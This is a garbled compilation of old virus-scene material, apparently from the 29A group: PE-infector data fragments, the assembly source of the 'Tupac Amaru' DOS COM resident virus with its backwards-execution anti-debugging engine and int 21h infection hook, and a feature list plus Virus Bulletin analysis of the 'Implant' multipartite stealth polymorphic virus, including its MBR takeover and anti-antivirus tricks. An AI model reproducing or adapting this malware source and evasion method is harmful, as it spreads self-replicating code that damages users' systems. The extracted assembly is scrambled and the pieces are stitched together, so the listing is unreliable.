kernel32_n user32_n gmhandle_n gpaddress_n messagebox_n createfile_n cfmapping_n mapview_n unmapview_n closehandle_n findfirst_n findnext_n findclose_n loadlibrary_n glocaltime_n

db db db db db db db db db db db db db db db

'KERNEL32.DLL',0 'USER32.DLL',0 'GetModuleHandleA',0 'GetProcAddress',0 'MessageBoxA',0 'CreateFileA',0 'CreateFileMappingA',0 'MapViewOfFile',0 'UnmapViewOfFile',0 'CloseHandle',0 'FindFirstFileA',0 'FindNextFileA',0 'FindClose',0 'LoadLibraryA',0 'GetLocalTime',0

reloc_start

old_ne_cs old_ne_ip reloc_end

label dw db db dw dw dw label

byte 1 3 4 offset newexe_ip ? ? byte

file_flag inf_timer inf_counter

db db db

'C' ? ?

createfile_n cfmapping_n mapview_n unmapview_n closehandle_n findfirst_n findnext_n findclose_n loadlibrary_n glocaltime_n

exe_cs exe_ip exe_ss exe_sp

dw dw dw dw

0fff0h ? ? ?

new_com_header old_com_header

db db

0e9h,?,?,';',')' 0cdh,20h,90h,90h,90h

wildcard com_wildcard exe_wildcard

db db db

'*.*',0 '*.COM',0 '*.EXE',0

res_name_size resource_name rels_in_file resource_size dist_to_res espo_file_end

dc.b dc.l dc.w dc.w dc.w label

#$4 #'MDEF' #$0 #$espo_file_size #$espo_file_size byte

include include include

win32api.inc pe.inc mz.inc

kernel32_a user32_a gmhandle_a gpaddress_a

dd dd dd dd

? ? ? ?

api_addresses createfile_a cfmapping_a mapview_a unmapview_a closehandle_a findfirst_a findnext_a findclose_a loadlibrary_a glocaltime_a api_addr_end

label dd dd dd dd dd dd dd dd dd dd label

byte ? ? ? ? ? ? ? ? ? ? byte

time_table system_year system_month system_week system_day system_hour system_minute system_second system_milsec time_table_end

label dw dw dw dw dw dw dw dw label

byte ? ? ? ? ? ? ? ? byte

crfhandle maphandle srchandle max_path_size finddata

dd dd dd db db

? ? ? ? SIZEOF_WIN32_FIND_DATA dup (?)

winexe_data winexe_offset align_shift newexe_size

label dw db dw

byte ? ? ?

last_newexe lseek_newexe lseek_add

dw dw dw

? ? ?

stupid_face

db

'STX'

file_or_mem file_offset dot_xy rawdata_ptr thunk_offset filename

db dw dw dd dd db

'F' ? ? ? ? 4ch dup (?)

old_exe_header espo_mem_end

db label end

1000h dup (?) byte

; Ain't it charming? :)

; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²± ;²²± .:. .: .:..: :. : .. ::.. ²²± ;²± Virus: Tupac Amaru . ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.ÜÛÛÛÛÛÜ.. Author: Wintermute ²± ;²± Size: 1308 ::.ÛÛÛ ÛÛÛ:ÛÛÛ ÛÛÛ.ÛÛÛ ÛÛÛ:.: Group: 29A ²± ;²± Date: August, 1997 .: .ÜÜÜÛÛß.ßÛÛÛÛÛÛ:ÛÛÛÛÛÛÛ .:. Origin: Espa¤a ²± ;²± >===ÛÛÛÜÜÜÜ=ÜÜÜÜÛÛÛ=ÛÛÛ=ÛÛÛ===->> ²± ;²± .: .:.ÛÛÛÛÛÛÛ:ÛÛÛÛÛÛß.ÛÛÛ ÛÛÛ: .:.:.. ²± ;²²± ..: ::. . .:.. .: ..:.::.. .:.. :.. :.:.. ²²± ; ²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²²± ; ; This virus itself is just a COM TSR virus... but... the innovation it has ; justifies the whole virus as something really cool and new... it's the ; first virus ever in the world that executes its code **BACKWARDS**. ; ; By means of int 1h, it executes one instruction, reverses the opcodes of ; the next one ( which is actually the one before :) ) and sets IP to that ; position, reversing again the instruction that has been just executed. ; ; Let's imagine Tupac at this position: ; ; db 0c7h, 08eh ; ÄÄÄDLE mov ax,2521h ; [...] ; ; Just after the "mov ax,2521h" is executed, the compiler will set CS:IP ; for the next instruction and then call int 1h. Then, we'll move that value ; into DS:SI, substracting to SI the size of "mov ax,2521h" (three bytes in ; this example; this size is known because the instruction length is checked ; during the last call before this one). ; ; We decrement SI by one, so we point to "08eh". The engine will then load ; this opcode and find the corresponding instruction length, getting 2 as ; result, and thus picking two bytes ( 08eh and the previous one, 0c7h ). So ; that, it will substract 2 to SI, push the instruction opcodes, and pop'em ; backwards, changing the CS:IP stored in the stack in order to point to ; this instruction. Also, it will reverse the instruction which has just ; been executed ( mov ax,2521h ). ; ; For every int 21h call, Tupac uses the "nop" instruction, 090h. It saves ; bytes, and also a good amount of time when trying to solve many problems. ; ; Conditional jumps are checked before they're executed: if the reversing ; engine has just decrypted the instruction before it, the updated CS:IP and ; encrypted the next, it's obvious that the virus will hang. So, the engine ; checks the flags... jump is made three bytes after the instruction it ; should jump to ( cause 2+1 will be substracted in order to get to the last ; opcode of the instruction we want to execute ). ; ; This is because Tupac executes backwards, making impossible for any ; debugger to trace it; MS-DOS debug, GameTools, Soft-ICE and TurboDebugger ; just get lost... the only way I found to check how the virus worked was by ; guessing with some tricks and using AVPUtil ( fucking good program, ; Kasp! ). All the debugging programs I know ( including AVPUtil if you ; are not modifying all the time CS:IP in order to execute the correct ; instructions ) will continue executing the whole code forwards without ; realising about wtf's really happening there ( and this obviously happens ; with AV software as well ). ; ; The virus is dedicated to the revolutionary group Tupac Amaru members ; who were killed after surrendering by the Peruvian army forces in the ; attack to the japanese embassy in Per£, Lima. The rebels surrendered, ; and Fujimori's men killed them one by one; the embassy was burning with ; the rebels inside it - among them a 16 year old girl - while Fujimori

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

was congratulating his troops and singing the peruvian national hymn, talking with journalists to raise more popular and win the next elections. Also dedicated ( as so dedicated as it is to Tupac Amaru killed members ) to the miners that excavated the tunnel to the embassy for the gov and later "dissapeared", and to all of Fujimori's victims: dissapeared students, tortured "enemies", and people who fight for democracy there... Well, also to all the people in the world that are talking about democracy and human rights :)

punished

because

of

Also some greetings to AVV, who told me about an idea about executing a decrypting routine backwards... idea I took, gave form, extended to a complete virus,... and finally brought ya ;)

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Habr un d¡a en que todos, al levantar la vista, veremos una tierra, que ponga libertad. Sonar n las campanas desde los campanarios, y los campos desiertos, volveran a granar, unas espigas altas, dispuestas para el pan. Para un pan que en los siglos, nunca fue repartido, entre todos aquellos, que hicieron lo posible, por empujar la historia, hacia la libertad. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ( from a revolution song )

tasm tupac.asm /m2 tlink tupac.obj x2b tupac.exe tupac.com del tupac.exe

; An utility near Exe2bin

.286 kodigo segment 'code' assume cs:kodigo,ds:kodigo,es:kodigo org 00h tupac_start label byte Tupac_amaru:

delta:

call mov mov sub

delta si,sp bp,word ptr [si] bp,3

mov

byte ptr cs:[installing_on+bp],0

mov int mov mov

ax,3521h 21h word ptr [int21h+bp],bx word ptr [int21h+2+bp],es

mov push pop mov int push

dx,bx es ds ax,25a9h 21h cs

; We take the delta-offset

backtrace:

pop

ds

mov int mov mov lea mov int

ax,3501h ; Get 1h 21h word ptr [int1h+2+bp],es word ptr [int1h+bp],bx dx,back_zone+bp ; Set it to the zone that's going ah,25h ;to control the backwards execution 21h

cli pushf pop or push popf

; Now we set trap flag to 1 ax ah,1h ax

jmp

end_or_init

; To the beginning ( or end ? ;D ) ;of the code

return: instanterior: installing_on:

dw db db

0 1 0

offset_jmp: hay_salto:

dw db

0 0

salto: lugarsalto: buffer:

db 090h,0e9h db 00h,00h ; Jump to virus code db 53h,53h,0cdh,20h ; Buffer with host bytes

virus_name:

db db db db db db

_Winter_:

db 'Wintermute/29A',0

; For the push/pop of all regs ; Just executed instruction bytes ; Backtrace working ?

; ;

1.- Interrupt 21h 2,3.- Jump

' The Tupac Amaru virus, dedicated to all the people of ' 'the MRTA who were killed by Fujimori''s troops after ' 'surrendering at the japanese embassy on Lima, to all ' 'the people killed and tortured in his government, and ' 'finally to all those who work for democracy and for a ' 'better world.',0

; *************************************************************************** ; RESIDENCE ROUTINE ZONE ; *************************************************************************** ; ; You should read this next backwards ;) db db db db db db db db db db db jmp1:

0c3h 0a5h 0a5h 057h 01h,00h,0bfh 01h,00h,offset buffer+1,0aeh,080h offset buffer 076h,08dh 01fh 07h 0eh,0eh ; Restore first four bytes

db db db db db db

090h 01fh,06h 025h,021h,0b8h place_ff place_21-(place_ff*100h) 0bah ; Int 21h setting

jjmp7:

db db db

((offset jmp7)-(offset jjmp7)),075h 49h 0a4h

db db db db db db db db

tupac_ff tupac_size-(tupac_ff*100h) 0b9h 0eeh,089h 0ffh,031h 0c7h,08eh 047h 00h,03h,03eh,03h,026h

jmp7:

; Copy virus to memory

jjmp6:

db db db db db

tupac_parag 00h,03h,02eh,083h,026h 0-((offset jjmp6)-(offset jmp1)),072h tupac_parag 00h,03h,03eh,080h,026h ; Some checks

jmp4: jjmp5: jjmp4:

db db db db db

0-((offset jjmp5)-(offset jmp1)),075h 00h,01h,016h,039h,026h 0ffh-((offset jjmp4)-(offset jmp4))+1,074h 00h,00h,01h,03eh,083h,026h 0dah,08ch ; We check if we fit in memory: if last Mcb is ;empty or it's program Psp

jmp2:

jjmp2:

db db db db db db

((offset jmp3)-(offset jmp2)),0ebh 0c7h,08eh 047h 00h,03h,03eh,03h,026h 0h-((offset jjmp2)-(offset jmp2)),074h 05ah,00h,00h,03eh,080h,026h

jmp3: ; Mcb Loop: Search for Mcb Z db db db db db db db

0c7h,08eh 0eh,07fh,08bh,026h 0c0h,08eh 048h 0c0h,08ch 090h 052h,0b4h ; Search for the list of lists

jjmp1:

db db

0-((offset jjmp1)-(offset jmp1)) 074h

db db db

0c0h,0c0h,03dh 090h 0c0h,0c0h,0b8h ; Installation check

end_or_init: nop

push_em_all:

pop_em_all:

back_zone:

; The 'nop' is the signal for the ;virus to start executing backwards ; We don't want TbClean here, do we ?

cli neg neg sti

sp sp

mov mov mov mov mov jmp

di,100h ; Restore bytes and return to host: ax,word ptr [buffer+bp] ; there's a debugger out word ptr cs:[100h],ax ; there... whoooo, I'm ax,word ptr [buffer+bp+2]; afraid ! :) word ptr cs:[102h],ax di

cli pop pushf push push sti ret cli pop pop popf push sti ret

; We save registers cs:word ptr [return+bp] ax bx cx dx di si ds bp es cs:word ptr [return+bp]

; We recover registers cs:word ptr [return+bp] es bp ds si di dx cx bx ax cs:word ptr [return+bp]

; Backwards executor zone ( where int 1h is attached ) call

push_em_all

mov mov mov mov

di,sp si, word ptr ss:[di+20d] ds, word ptr ss:[di+22d] bx,word ptr ss:[di+24d]

dec lodsb cmp jnz mov

si

cmp jnz jmp

byte ptr cs:[installing_on+bp],0 @adelante vamonos

; We got on DS:DI now the ;CS:IP has sent to the stack ; ; Pushed flags register

al,90h ; Nop will tell us when does the continua ;executing start; installing_on is byte ptr cs:[installing_on+bp],1 ;a flag that tells ;we have to backtrace

continua:

@adelante: ; In AL we've got the first byte of the instruction we've ;just executed, but we cannot do nothin with this. First, ;we'll decrement ds:si, and sub si the last instruction ;size and which at the start lasts one byte ( the nop ),

;so we'll be at the first opcode of the backwards stored ;instructions we're going to execute. xor mov inc sub

dx,dx dl,byte ptr cs:[instanterior+bp] dl si,dx ; So, DS:SI now points to the opcode ;that will be the start of the next ;backwards instruction

xor

cx,cx

lodsb

; We load that opcode in Al, and ;check it with the table to verify ;it's lenght: only the opcodes used ;by the virus are checked.

@dsescsss: mov

ah,al

push pop

si cx ds cs ds

lea mov

si,inittable1+bp cx,57d

lodsb cmp jz loop

ah,al @encontrado @buscaopcode

; Table

@buscaopcode: ; Searches opcode in table

@encontrado: push lea mov pop sub sub add lodsw add pop jmp

cx ; Searches where to jump si,inittable2+bp cx,114d dx cx,dx cx,dx si,cx

db db db db db db

03h,07h,0eh,01fh,026h,03dh,047h,048h,057h,074h,080h 08bh,08ch,08dh,08eh,0c3h,0cdh,0a5h,0b4h,0b8h,0bfh 0ebh,090h,083h,039h,075h,072h,031h,089h,0b9h,049h 06h,0bah,0a4h,0f8h,087h,06h,053h,0b4h,050h,058h 05ah,08eh,03ch,0ach,046h,051h,052h,059h,0a0h,02h 099h,02dh,0a3h,040h,0feh,073h

ax,bp ds cx si ax

inittable1:

;;;;;;;;;;;;;;;;; inittable2: dw dw dw dw dw dw

offset offset offset offset offset offset

@bytes4, offset @bytes1, offset @bytes1 @bytes1, offset @prefijo, offset @bytes3 @bytes1, offset @bytes1, offset @bytes1 @jjz, offset @bytes5, offset @bytes3 @bytes2, offset @bytes3, offset @bytes2 @finished_go, offset @bytes2, offset @bytes1

dw dw dw dw dw dw dw dw dw dw dw dw dw dw

offset offset offset offset offset offset offset offset offset offset offset offset offset offset

@bytes2, offset @bytes3, offset @bytes3 @jmp2aplace, offset @makeint, offset @bytes5 @bytes4, offset @jjnz, offset @jjb @bytes2, offset @bytes2 @bytes3, offset @bytes1, offset @bytes1 @bytes3, offset @bytes1, offset @end_infect @bytes2, offset @bytes1, offset @bytes1 @bytes2, offset @bytes1, offset @bytes1 @bytes1, offset @bytes2, offset @bytes2 @bytes1, offset @bytes1, offset @bytes1 @bytes1, offset @bytes1, offset @bytes3 @bytes4, offset @bytes1, offset @bytes3 @bytes3, offset @bytes1, offset @bytes4 @jjnb

inc dec dec lodsb inc jmp

cx si si

mov jmp

byte ptr cs:[hay_salto+bp],1 @bytes1

mov mov mov int and mov call iret

ds,word ptr [int1h+2+bp] dx,word ptr cs:[int1h+bp] ax,2501h 21h byte ptr ss:[di+25d],0feh word ptr ss:[di+20d],0100h pop_em_all

mov mov mov int and mov call iret

ds,word ptr cs:[int1h+2] dx,word ptr cs:[int1h] ax,2501h 21h byte ptr ss:[di+25d],0feh word ptr ss:[di+20d],offset @@realend pop_em_all

call mov jmp

pop_em_all bp,word ptr cs:[bp_site] int21jump

and jnz jmp

bl,00000001b @bytes2 @jmp2aplace

; Conditional jnb jump check

and jz jmp

bl,00000001b @bytes2 @jmp2aplace

; Conditional jb jump check

@prefijo:

si @dsescsss

@makeint:

@finished_go:

@end_infect:

@@realend:

@jjnb:

@jjb:

@jjnz:

and jnz jmp

bl,01000000b @bytes2 @jmp2aplace

; Conditional jnz jump check

and jz

bl,01000000b @bytes2

; Are we going to make the jump jz ? ; If zero flag isn't on, we take it ;as a normal 2 bytes instruction

mov

byte ptr cs:[hay_salto+bp],3 ; To interpret well next instruction bx,si ; And we put the instruction offset ;at [offsetjmp] to recode it on the ;next pass bx bx word ptr cs:[offset_jmp+bp],bx @bytes2 ; Nothing to do now... let's leave ;the jump execute and then we'll ;do things ;)

@jjz:

@jmp2aplace:

mov

dec dec mov jmp

@bytes5: @bytes4: @bytes3: @bytes2: @bytes1:

@loop_guardar:

@loop_reponer:

inc inc inc inc inc

cx cx cx cx cx

mov mov

dh, byte ptr cs:[instanterior+bp] byte ptr cs:[instanterior+bp],cl

mov

dl,cl

sub mov

si,cx di,cx

lodsb push loop

ax @loop_guardar

mov sub mov push pop

cx,di si,cx di,si ds es

xor mov

bx,bx bl,cl

pop stosb loop mov mov

ax

add mov

si,bx cl,dh

cmp jnz mov mov

byte ptr cs:[hay_salto+bp],2 @sec_loop si,word ptr cs:[offset_jmp+bp] byte ptr cs:[hay_salto+bp],0

; Cx has instruction lenght

; We place SI at the end of the ;backwards instruction ( ok, at the ;begin ;) ) ; We store each opcode in Al, on the ;stack

; We take from the stack all opcodes ;and place them in a correct form

@loop_reponer di,sp word ptr ss:[di+20d],si ; And now we place Si, the ;instruction we're executing next

@sec_loop:

@sec_store:

lodsb push loop

ax @sec_loop

; Now we're codyfing the just ;executed instruction, "backwarding" ;it; it will be exactly as it was.

mov sub mov pop stosb loop

cl,dh si,cx di,si ax

; So we store backwards

cmp jnz dec

byte ptr cs:[hay_salto+bp],3 ; Ok, this was the inst vamos_ya ;just before the jump, byte ptr cs:[hay_salto+bp] ;so it will be the next ;executing

call pushf

pop_em_all

cmp jnz mov sti int cli

byte ptr cs:[hay_salto+bp],1 @return byte ptr cs:[hay_salto+bp],0

@sec_store

vamonos:

vamos_ya:

0a9h

; Int 21h

@return: popf ; Pop registers and go iret

;*************************************************************************** ; FILE INFECTION ;***************************************************************************

db

0f8h

; "End of infection" mark

db db

090h 01fh,05ah,058h ; Restore int24h

@jmp3: db db

90h 03eh,0b4h

db db db db db

90h 40h 058h 05ah 059h

db db db db

90h 00,offset salto,0bah 00h,04h,0b9h 040h,0b4h

db

090h

@close:

db db db

099h 0c9h,031h 042h,00h,0b8h ; Now to the init

db db db db db db

90h tupac_ff tupac_size-(tupac_ff*100h) 0b9h 0d2h,031h 040h,0b4h ; Attach to the end

@len:

db db

00h,offset lugarsalto,0a3h 00h,04h,02dh

db db

0-((offset @len)-(offset @close)),073h 0c3h,050h,03dh

db db db db

90h 099h 0c9h,031h 042h,02h,0b8h

db @jjmp4: db db db db @jjmp5: db db db db db db db db db db

00h,offset buffer+1,06h,0feh 0-((offset @jjmp4)-(offset @close)) 074h 0a7h,3ch 00h,offset buffer+1,06h,02h 0-((offset @jjmp5)-(offset @close)) 074h 090h,03ch 00h,offset buffer,0a0h 90h 00,offset buffer,0bah 00h,04h,0b9h 03fh,0b4h 01fh 0eh ; Read first four bytes

db db db db db

051h 052h 090h 050h 057h,00h,0b8h ; Save the date

db db db @jmp1:

0c3h,087h 090h 03dh,02h,0b8h ; Open file

db db

0f2h,089h 0d9h,08eh

db 090h db place_ff24 db place_21-(place_ff24*100h) db 0bah db 01fh db 0eh db 050h db 025h,0b4h db 06h db 053h db 090h db 035h,024h,0b8h db 0d9h,08ch db 0f2h,087h ; Save the int 24h start_infecting:

nop

; Infection start

;********************************** ; INT 21H HANDLER ;********************************** in21 label byte INT21HANDLER: cmp jz cmp jz jmp

ax,0c0c0h i_check ax,4b00h infect int21jump

i_check: iret infect: mov xor call mov

word ptr cs:[bp_site],bp bp,bp push_em_all byte ptr cs:[installing_on],0

push

ds dx

push pop mov int mov mov push pop lea mov int

cs ds ax,3501h ; Get int1h 21h word ptr [int1h+2],es word ptr [int1h],bx cs es dx,back_zone ; Redirect it to the zone that's ax,2501h ;going to control backwards execution 21h

init_1:

cli pushf pop or push popf pop

; Trap flag = 1 ax ah,1h ax

dx ds

@continue: jmp

start_infecting

int1h:

dw

0,0

bp_site:

dw

0

int21jump: int21h:

db dw

0eah 0,0

in24 label byte the24: mov iret

al,3

nop place_21 equ in21-tupac_start place_ff equ (place_21/0100h) place_24 equ in24-tupac_start place_ff24 equ (place_24/0100h) tupac_end label byte tupac_size equ tupac_end-tupac_start tupac_parag equ ((tupac_size+15)/16)+2 tupac_ff equ (tupac_size/0100h) kodigo ends end tupac_amaru

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

ÜÛÛÛÛÛÜ ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛ ÛÛÛ ³ SuckSexee Automated Intruder ÜÜÜÛÛß ³ Viral Implant Bio-Coded by GriYo/29A ÛÛÛÜÜÜÜ ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ÛÛÛÛÛÛÛ

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ßÛÛÛÛÛÛ ÜÜÜÜÛÛÛ ÛÛÛÛÛÛß

ÜÛÛÛÛÛÜ ÛÛÛ ÛÛÛ ÛÛÛÛÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ ÛÛÛ

Disclaimer: ÄÄÄÄÄÄÄÄÄÄÄ The author is not responsable of any problems caused due to assembly of this file. Virus description: ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ o Residency: The virus only goes resident when booting from an infected hard drive or floppy disk. While infecting files the virus uses UMB memory if available. o Infection: 1) Hard drive master-boot-record The virus infects the HD MBR using direct port access bypassing some TSR watchdogs and BIOS virus-protection features. 2) Floppy boot sector SuckSexee formats an extra track on floppy and saves there the original BS (for stealth) and its main body. 3) Files (.COM .EXE and .SYS) The virus uses low level system file table. Files are infected on close, get/set attribute, rename, move or upon termination. o Stealth: This virus is full-stealth, so the system seems to be clean while infected. 1) Sector level Attempts to read the HD MBR or floppy boot sector will result in a clean copy being returned. Attempts to read the sectors were the virus resides will not be permitted. 2) File level Attempts to read an infected file will result in a clean copy being returned, as the virus disinfects files on the fly, including if a debugging tool is used to edit the file. 3) Others... Directory, search and date/time stealth also supported Whenever win.com is executed, the virus adds some parameters to avoid problems with Windows 32bit disk access.

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

o Armoured: Attempts to write to the HD MBR or the sectors on which the virus resides will not be permitted, but no error were returned SuckSexee uses extended DOS partition trick, so infected computers will not be able to boot from floppy. o Polymorphism: SuckSexee is encrypted under two encryption layers utilising a polymorphic engine to generate first decryptor algorithm. Generated polymorphic decryptor contains several conditional and unconditional jumps as well as calls to subroutines and interrupts. The virus is polymorphic in all its infections. This means that SuckSexee is polymorphic on hard drive MBR, floppy boot sectors, .COM files, .EXE files and also .SYS files. While infecting floppy boot sectors the virus reads the decryptor at MBR infection and uses it for each floppy. While infecting files the virus will use the same decryptor for each infected file. If the system is rebooted a new mutation will be used to infect files. SuckSexee uses a timer to avoid multiple mutations in a short period of time. o Retro: Polymorphic engine uses slow mutation technics (see note above). The virus avoids some self-check executables being infected. SuckSexee waits over 10 min. before it starts infecting files. The virus does not infect files that have V character or digit(s) in their names. Command line parameters force TbScan to use compatibility mode (so files can be stealthed and infected while scanning) and skip memory scanning. The virus encrypts the original MBR for a difficult recovery.

Virus Bulletin speaks ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ Thanks to mgl for the typing :) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8 VIRUS BULLETIN MAY 1997 Silicon Implants Igor Muttik Dr Solomon's Software Ltd

In February this Year, I received some flies which had been downloaded from an Internet virus exchange site and forwarded to us for analysis. 'Ah, the usual rubbish...', I thought; for it is rare to get new (let alone interesting!) viruses from such sources - if a file is not already identified as containing a known virus, it is usually either a corrupted virus, or not a virus at all. It looked as though this would again be the case, but then, amongst these files, I came

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

across a new virus - Implant.6128. Implant is unusual in many aspects - it has full stealth, and is both polymorphic and multi-partite. Stranger still, it works reliably - I have never seen a virus so complex and yet so stable. After all, it is both well known and intuitively obvious that as software gets more complex, it has more bugs. In my opinion, this explains perfectly why primitive computer viruses (most boot sector and macro infectors) are the most common in the wild. Sophisticated viruses have more bugs, and thus have a smaller chance of surviving unnoticed in the field. Implant is a rare exception to this general rule. Returning to the virus' specifics, it is extremely polymorphic. The complexity of its decryptor by far exceeds that of many other famous polymorphic viruses. It is also extremely multi-partite, infecting COM, EXE and SYS files as well as the hard disk MBR and floppy boot sectors. Finally, Implant makes it impossible to boot the computer from a clean DOS system diskette: it does this using the circular extended partition technique, first seen implemented in Rainbow [see VB, September- 1995, P. 12].

Initial Infection ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When an infected file is run, or the infected floppy is left in the A: drive at boot time, the virus takes control in the traditional manner. After it decrypts itself, it checks the processor type: if the computer is 8088- or 80286-based (i.e. is an XT or an AT). Implant immediately infects another file. However, if the machine is an 80386 or above, the virus issues its 'Are you there?' call - Int 12h, CX=029Ah, SI=OBADH, DI=FACEh. If, on return from the call, the SI and DI registers are set to DEADH and BABEH respectively (I wonder how many other words can be squeezed into 16 bits?) the virus assumes it is already active and proceeds to infect a file. Otherwise (if it is not already resident), it creates an array of 1024 random bytes (which will later be used by the virus' polymorphic engine) and passes control to the hard disk infection routine. This routine copies the MBR to sector 3 on track 0, and then finds the active partition record in the partition table, checking whether it is a 16-bit FAT DOS system (that is, the type field is set to 4 or 6). If so, Implant removes the active flag, sets the partition type to 5 (Extended DOS partition) and makes the pointer to its first sector point to the MBR (creating a so-called 'circular extended partition'). Then the virus analyses the code in the MBR: it follows the jump chain (if present), and puts its code at the destination of the final jump - the virus code is such that it needs to leave only 35 bytes in the MBR! Implant next writes the MBR back to disk by direct manipulation of I/0 ports (this will make it compatible with IDE and MFM drives, but not SCSI). After the write attempt, the virus rereads the MBR and

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

checks whether the checksum of what was read matches what was written. If not, the virus gives up, and passes control to the host program. Then the virus writes its body into 12 sectors on track 0 starting at sector 4, right after the saved MBR. Implant does not forget to check whether there is sufficient space on track 0 - if there are fewer than 13 sectors before the start of an active partition, the virus will not infect the hard drive. nor modify anything on track 0. Implant does not recognize itself in the MBR. It just checks whether a resident copy is already present using its 'Are you there?' call. If it is not in memory, it loads the MBR and scans for an active partition. An already-infected MBR will not have this, so the infection will fail at this point - there is no risk of multiple infection. There are two main branches in the virus code. If the virus is run from a file (COM, EXE or SYS), control transfers to the host and nothing is left resident in memory. If, however, the virus is run from a boot sector (either that of a floppy or the hard disk's MBR), it seizes 7KB of DOS memory (by the familiar technique of reducing the word at memory offset [0:413h]), copies itself to the newly-created hole in memory just beneath the top of conventional memory, and intercepts some system interrupts. The method by which the virus infects the hard drive means that an MS-DOS system floppy cannot be used to clean-boot an Implant-infected PC. The circular extended partition will make MS-DOS v5 onwards, Novell DOS 7, and DR-DOS 6 hang. Fortunately, it is still possible to use versions 3.30 or 4.0 of MS-DOS, or PC-DOS 5 and 6, which will boot without problem. After booting, however, drive C will still, of course, be inaccessible: attempts to access this drive will result in the error 'Invalid drive specification'.

Booting the Infected System ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ When booting, the virus hooks interrupts 12h (self-recognition and stealth), 13h (disk I/0: for stealth and to infect floppies), and 1Ch (timer; to intercept DOS interrupts later on). All three are used to intercept Int 21 h: the virus can do this in three ways: - thirty seconds after the computer is booted (checked using Int 1Ch) - when an infected program is run: when such a proaram issues the 'Are you there?' Int 12h call (see above) the resident copy of a virus will immediately hook Int 21h - when a program attempts to write to disk using Int 13h The virus has specific knowledge of and tries to get the real DOS entry jumps and doing some checks. If an entry point fails, the virus simply the Interrupt Vector Table.

some versions of DOS. point by following the attempt to get the real uses the one taken from

When the virus has hooked Int 21h, it monitors the following

; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ; ;

DOS functions: 2Ah (Get date; used in a payload), 4B00h (Exec), 3Eh (Close), 43h (Attribute), 56h (Rename/Move), 4Ch (Terminate), 3Dh (Open), 6Ch (Open/Create). 11h/12h (Findfirst/Findnext FCB), 4Eh/4Fh (Findfirst/Findnext), 3Fh (Read), 4B01h (Load), 40h (Write), 5700h (Get timestamp), 5701h (Set timestamp). These functions are used to infect files and conceal infection (full stealth). During infection, the virus also intercepts Int 24h (Critical error handler) to suppress error messaaes.

Infection of Files ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ The virus infects files as they are run or opened. However, if any infected files are copied to diskette, the files on the diskette will be clean (despite the fact that the diskette's boot sector is infected) - Implant is 'full stealth'. Running the file from the floppy does not infect it either. How, then. are infected files passed between users? The first thing the virus checks when any program calls any monitored DOS function is the program's name, paying special attention to files named AR*.*, PK*.*. LH*.*, and BA*.* (archiving utilities, specifically, ARJ, PKZIP, LHA and BACKUP). This information is used to turn off stealth mode when any of these archivers is executed. Thus, the virus ensures all executable files are packed into archives and backups are infected, whether on floppy or hard disk. Further, it will not infect files called TB*.*, SC*.*, F-*.*, GU*.*, nor those containing the letters V, MO, IO, DO, IB or the digits 0-9. Thus the virus avoids a wide variety of anti-virus programs, DOS system files, and goat files used by virus researchers (which usually have digits in the name). Implant infects only files with the extensions COM, EXE and SYS. COM and SYS files longer than 52801 bytes are not infected. Files with time-stamps set to 62 seconds are assumed already infected - this is the virus' infection stamp. To check whether a file is an EXE file, the virus adds the first two bytes of the file (for an EXE file, 4D5A or 5A4D) together: if the sum is A7h (A7h=4Dh+5Ah), the file is assumed to have an EXE header. Simple and elegant. When resident, Implant denies access to files named CHKLIS*.*. These patterns match CHKLIST.MS or CHKLIST.CPS, and prevent Microsoft's and Central Point's scanners from working properly. If WIN.COM is executed, the virus adds a parameter ID:F to the program's command-line. This argument turns off Windows' 32-bit disk access, which enables infection of floppies accessed from within Windows. If TBSCAN is executed, the virus adds the command-line parameters 'co' and 'nm', which instruct the program to skip the memory cheek and not use direct disk access ('compatibility mode').

